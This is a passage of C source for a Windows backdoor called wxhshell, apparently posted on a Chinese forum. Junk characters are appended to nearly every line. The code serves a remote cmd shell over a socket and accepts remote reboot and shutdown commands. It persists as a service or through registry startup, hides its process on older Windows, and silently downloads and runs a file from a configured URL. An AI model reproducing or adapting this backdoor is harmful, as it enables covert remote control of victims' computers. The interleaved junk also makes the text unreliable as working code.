  } ^'QO!{7f  
  else { J[lC$X[  
IQ&PPC  
    switch(cmd[0]) { WNR]GI  
  vF\>;pcT  
  // 帮助 O_QDjxj^rZ  
  case '?': { ,gV#x7IW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z'l$;9(y  
    break; .W]k 8N E  
  } l!ow\ZuQBF  
  // 安装 BN*:*cmUl  
  case 'i': { [f+wP|NKL  
    if(Install()) K0w}l" )A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =O}I{dNKZV  
    else mTe3%( LD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ESc^28  
    break; )KZMRAT-  
    } [,;Y5#Y[5  
  // 卸载 oh5'Isb$  
  case 'r': { }c G)$E  
    if(Uninstall()) BX_yC=S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ns~]a:1yh  
    else ?%3dgQB'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a1pp=3Pd?~  
    break; @i ~A7L0/  
    } +4yre^gC  
  // 显示 wxhshell 所在路径 `v -[&  
  case 'p': { ~'M<S=W  
    char svExeFile[MAX_PATH]; 21TR_0g&<  
    strcpy(svExeFile,"\n\r"); IfmQP s+f  
      strcat(svExeFile,ExeFile); =g+}4P  
        send(wsh,svExeFile,strlen(svExeFile),0); Fk=SkS ky  
    break; /r4l7K  
    } XFWpHe_ L  
  // 重启 $;5Q mKQ'  
  case 'b': { tW/k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EE 9w^.3a  
    if(Boot(REBOOT)) @}y.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )j;^3LiV3  
    else { 88HqP!m%P:  
    closesocket(wsh); J~%43!X\K  
    ExitThread(0); L[<#>/NPy  
    } ;6/WjUDw<|  
    break; m>=DJ{KQ  
    } SKC;@?  
  // 关机 DS?.'"n[u  
  case 'd': { Pn!~U] A$%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sp>g77@  
    if(Boot(SHUTDOWN)) A8f.h5~9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9 MH"\  
    else { <vcU5 .K.  
    closesocket(wsh); xn*$Ty+  
    ExitThread(0); y#Dh)~|k  
    } pGD@R=8  
    break; G*IP?c>=  
    } prZ ,4\  
  // 获取shell qyM/p.mP  
  case 's': { hywcj\[  
    CmdShell(wsh); ^QNc!{`  
    closesocket(wsh); =~ Uhr6Q  
    ExitThread(0); I|rb"bG  
    break; SIp)&  
  } #*bmwb*i  
  // 退出 \%<M[r=  
  case 'x': { [wQ48\^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =}Tm8b0  
    CloseIt(wsh); sD3ZZcy|=  
    break; X&9: ^$m  
    } v+LJx    
  // 离开 (;#c[eKy  
  case 'q': { 8>YF}\D V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1<ag=D`F_"  
    closesocket(wsh); ^m z9sV  
    WSACleanup(); M v6 ^('  
    exit(1); l.@1]4.  
    break; %o8o~B|{.U  
        } 6x^$W ]R  
  } =TD`Pet  
  } Z:9Q~}x8  
{R_>KE1  
  // 提示信息 TAXsL&Tz>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,)s8_a  
} [v~,|N>w  
  } coAXYn  
5{'hsC  
  return; HoPpUq5,  
} f3O6&1D  
oz&`3`  
// shell模块句柄 6:5K?Yo  
int CmdShell(SOCKET sock) )R7Sh51P  
{ zamMlmls^  
STARTUPINFO si; h'"m,(a   
ZeroMemory(&si,sizeof(si)); Na91K4r#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `#$}P;W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7IxeSxXH  
PROCESS_INFORMATION ProcessInfo; "0HUaU,e  
char cmdline[]="cmd"; JY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~/G)z?+E  
  return 0; 7I;kh`H$(f  
} 8 #4K@nm5  
7Bj,{9^aJ  
// 自身启动模式 (~DW_+?]'  
int StartFromService(void) j*>J1M3E  
{ M">v4f&K1!  
typedef struct &D3]O9a0;  
{ &3SS.&g4W  
  DWORD ExitStatus; IHTim T?  
  DWORD PebBaseAddress; p{Q6g>?[  
  DWORD AffinityMask; yV.p=8:  
  DWORD BasePriority; ]c>@RXY'  
  ULONG UniqueProcessId; m[}P  
  ULONG InheritedFromUniqueProcessId; v_XN).f;  
}   PROCESS_BASIC_INFORMATION; /1 EAj  
qA[lL(  
PROCNTQSIP NtQueryInformationProcess; gBqDx|G  
?L }>9$"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  rDFrreQP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( eKgc  
y`RzcXblIZ  
  HANDLE             hProcess; dgP e H8_  
  PROCESS_BASIC_INFORMATION pbi; ;g0s1nz  
rMwa6ZO'm;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jf3Zy :*K  
  if(NULL == hInst ) return 0; t2,II\K l  
xJ3C^b%H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FQ>$Ps*a[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]ogifnwv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $5pCfW8>  
ZO/e!yju  
  if (!NtQueryInformationProcess) return 0; qcs) p  
7 z    
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ob>)F^.iS  
  if(!hProcess) return 0; eB~\~@  
 u 8o!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JwMRquQv  
@V:K]M 5  
  CloseHandle(hProcess); Wx0i_HFR  
]0D-g2!|A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VgbNZ{qk@  
if(hProcess==NULL) return 0; ^t'mW;C$4  
eJoM4v  
HMODULE hMod; p -$C*0{  
char procName[255]; z)T-<zWO;  
unsigned long cbNeeded; qy|bOl  
{\5(aQ)Vi5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ K?  
;^/ruf[t  
  CloseHandle(hProcess); Rs=Fcvl  
_&l8^MD  
if(strstr(procName,"services")) return 1; // 以服务启动 2 `AdNt,  
+,spC`M6h  
  return 0; // 注册表启动 N1'"7eg/  
} ^ =C>  
O::FB.k  
// 主模块  J#` 7!  
int StartWxhshell(LPSTR lpCmdLine) 6SCjlaGW5  
{ |*?N#0s5h  
  SOCKET wsl; W5u5!L/  
BOOL val=TRUE; nWsRa uY  
  int port=0; jgE{JK\n4  
  struct sockaddr_in door; [R4# bl  
yepRJ%mp  
  if(wscfg.ws_autoins) Install(); NAo.79   
]KuM's  
port=atoi(lpCmdLine); PzPNvV/o  
437Wy+Q|e  
if(port<=0) port=wscfg.ws_port; +nR("Il  
eP2Q2C8g  
  WSADATA data; dSwfea_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _YX% M|#  
04U|Frc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }tt%J[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &m--}  
  door.sin_family = AF_INET; 5x@ U<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h.tj8O1  
  door.sin_port = htons(port); tEL;,1  
L<V20d9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b=Nsz$[  
closesocket(wsl); D#<y pJR  
return 1; L9/'zhiZBx  
} )FwOg;=3M"  
9we];RYK  
  if(listen(wsl,2) == INVALID_SOCKET) { w}1IP-  
closesocket(wsl); `)a|Q  
return 1; 4&NB xe  
} Kvg=7o  
  Wxhshell(wsl); ?`TJ0("z"  
  WSACleanup(); S+06pj4Ie  
u8 k^\Do  
return 0; @zS/J,:v}  
W\[E  
} P{dR pH|  
&3/`cl[+  
// 以NT服务方式启动 Sp[9vlo8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $MasYi  
{ ~"S5KroN  
DWORD   status = 0; J.rS@Z`~7  
  DWORD   specificError = 0xfffffff; }F1Asn  
_A]jiPq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *?Eu{J){7%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]yKwH 9sl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y#lAG@$  
  serviceStatus.dwWin32ExitCode     = 0; X)SUFhP\  
  serviceStatus.dwServiceSpecificExitCode = 0; pW ~;B*hF  
  serviceStatus.dwCheckPoint       = 0; 87[o^)8  
  serviceStatus.dwWaitHint       = 0; %;4#?.W8  
_3 [E$Lg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wSjy31  
  if (hServiceStatusHandle==0) return; ZS:[ZehF  
S*}GW-)oA  
status = GetLastError(); =3,<(F5Y[  
  if (status!=NO_ERROR) cY} jPDH  
{ t>]W+Lx#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K/(LF}  
    serviceStatus.dwCheckPoint       = 0; =O8YU)#  
    serviceStatus.dwWaitHint       = 0; #~j$J  
    serviceStatus.dwWin32ExitCode     = status; QqL?? p-S>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~oOv/1v},  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <=uO*s>%  
    return; ruqE]Hx9(  
  } JK)|a@BtOT  
W{IP}mM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [ 2@Lc3<  
  serviceStatus.dwCheckPoint       = 0; E2 'Al6^C  
  serviceStatus.dwWaitHint       = 0; ;\"Nekd|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~(m6dPm$}m  
} XXwIp-'  
sUF5Y q:9  
// 处理NT服务事件,比如:启动、停止 VII`qbxT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P9\y~W  
{  qjfv9sU  
switch(fdwControl) _)-2h[  
{ &\?{%xj  
case SERVICE_CONTROL_STOP: pnz@;+f  
  serviceStatus.dwWin32ExitCode = 0; IAd ^$9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .*k!Zl*  
  serviceStatus.dwCheckPoint   = 0; ;2 o{ 6  
  serviceStatus.dwWaitHint     = 0; JF &$'  
  { k'$7RjCu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lItr*,A]  
  } =uwG.,lC  
  return; O'S xTwO  
case SERVICE_CONTROL_PAUSE: >y+j!)\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \mN?5QCcE  
  break; ICoZ<;p  
case SERVICE_CONTROL_CONTINUE: FlS)m`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?Wt_Obl  
  break; ziW[qH {  
case SERVICE_CONTROL_INTERROGATE: KJ?/]oLr0  
  break; TuMZHB7h;  
}; y^p%/p%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Ng q+uXm  
} xT9+l1_  
e ]>{?Z  
// 标准应用程序主函数 (K"t</]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )fZ5.W8UE]  
{ JvUHoc$sI  
qfY=!|O  
// 获取操作系统版本 /|e"0;{  
OsIsNt=GetOsVer(); ;LT#/t)}<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q~*3Z4)j  
U|h@Pw z  
  // 从命令行安装 CvTgtZ '  
  if(strpbrk(lpCmdLine,"iI")) Install(); \v_t: "  
,TO&KO1;&  
  // 下载执行文件 I|[aa$G  
if(wscfg.ws_downexe) { }\ui} \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Q72.4HH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,v1-y ?kB  
} _jb"@TY  
J2#=`|t"  
if(!OsIsNt) { 13{"sY:PT#  
// 如果时win9x,隐藏进程并且设置为注册表启动 {&(bKQ  
HideProc(); ]O&A:Us  
StartWxhshell(lpCmdLine); Ip0@Q}^  
} 'E8dkVlI  
else s?K4::@Fv  
  if(StartFromService()) .Lu=16  
  // 以服务方式启动 [76mgj!K  
  StartServiceCtrlDispatcher(DispatchTable); f{Y|FjPp=E  
else L{CHAVkV  
  // 普通方式启动 l 0b=;^6  
  StartWxhshell(lpCmdLine); >|I3h5\M  
;/{Q4X{  
return 0; I0jEhg%JZ  
}
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只看该作者 1 发表于: 2006-10-10
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